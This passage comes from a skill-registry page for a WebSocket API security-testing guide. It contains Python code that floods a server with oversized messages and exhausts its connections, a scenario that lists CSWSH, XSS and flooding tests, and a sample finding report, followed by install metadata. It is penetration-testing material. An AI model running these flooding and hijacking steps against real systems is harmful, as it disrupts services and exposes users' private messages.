message\n    async def large_message_test():\n        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            max_size=20*1024*1024) as ws:\n            for size in sizes:\n                try:\n                    large_msg = json.dumps({\"type\": \"data\", \"payload\": \"A\" * size})\n                    await ws.send(large_msg)\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n                    print(f\"  Large message ({size} bytes): Accepted\")\n                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:\n                    print(f\"  Large message ({size} bytes): Rejected\u002FDisconnected\")\n                    break\n\n    await large_message_test()\n\n    # Test 3: Connection exhaustion\n    async def connection_exhaustion():\n        connections = []\n        for i in range(100):\n            try:\n                ws = await websockets.connect(WS_URL,\n                    extra_headers={\"Authorization\": AUTH_TOKEN})\n                connections.append(ws)\n            except Exception:\n                break\n        print(f\"  Connection exhaustion: {len(connections)} concurrent connections established\")\n        for ws in connections:\n            await ws.close()\n\n    await connection_exhaustion()\n\nasyncio.run(test_ws_dos())\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake |\n| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials |\n| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains |\n| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data |\n| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection |\n| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay\n- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities\n- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss:\u002F\u002Ftarget.com\u002Fws -H \"Authorization: Bearer token\"`\n- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities\n- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework\n\n## Common Scenarios\n\n### Scenario: Chat Application WebSocket Security Assessment\n\n**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.\n\n**Approach**:\n1. Analyze the WebSocket handshake: connection established at `wss:\u002F\u002Fchat.example.com\u002Fws` with session cookie authentication\n2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages\n3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)\n4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID\n5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers\n6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike\n7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)\n\n**Pitfalls**:\n- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)\n- Only testing the initial handshake authentication without verifying ongoing message authorization\n- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters\n- Not testing reconnection behavior (does the server re-validate authentication on reconnect?)\n- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules\n\n## Output Format\n\n```\n## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft\n\n**ID**: API-WS-001\n**Severity**: High (CVSS 8.1)\n**Affected Endpoint**: wss:\u002F\u002Fchat.example.com\u002Fws\n\n**Description**:\nThe WebSocket server does not validate the Origin header during the\nhandshake. An attacker can host a malicious web page that opens a\nWebSocket connection to the chat server using the victim's session\ncookie. All messages, typing indicators, and presence data are\nforwarded to the attacker in real time.\n\n**Proof of Concept**:\nHost the CSWSH PoC page on attacker.com. When a logged-in user\nvisits the page, the JavaScript establishes a WebSocket connection\nto the chat server. The server authenticates the connection using\nthe victim's cookie and delivers all real-time chat data to the\nattacker's connection.\n\n**Impact**:\nReal-time interception of all private messages, presence data,\nand typing indicators for any user who visits the attacker's page.\n\n**Remediation**:\n1. Validate the Origin header against an allowlist of legitimate domains\n2. Implement CSRF tokens in the WebSocket handshake URL\n3. Use token-based authentication (Authorization header) instead of cookies for WebSocket\n4. Implement per-message authorization checks, not just connection-level authentication\n5. Add rate limiting on WebSocket message volume per connection\n```\n",{"name":5,"note":25,"tags":26,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":27,"description":42,"mitre_attack":43,"source_commit":49},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32],"api-security","websocket","cswsh","real-time","injection","authentication","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests WebSocket API implementations for security vulnerabilities including missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection attacks through WebSocket messages, insufficient input validation, denial-of-service via message flooding, and information leakage through WebSocket frames. The tester intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious payloads, and tests for authorization bypass on WebSocket channels. Activates for requests involving WebSocket security testing, WS penetration testing, CSWSH attack, or real-time API security assessment.\n",[44,45,46,47,48],"T1190","T1059.007","T1552.001","T1055","T1059","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Ftesting-websocket-api-security",1,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-11 23:56:26",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill testing-websocket-api-security",{"tool":66,"command":67},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill testing-websocket-api-security",{"tool":69,"command":70},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill testing-websocket-api-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-websocket-api-security\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",1954,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-websocket-api-security\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",8449,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-websocket-api-security\u002Fscripts\u002Fagent.py",[91,99,106,114,122,130],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":118,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]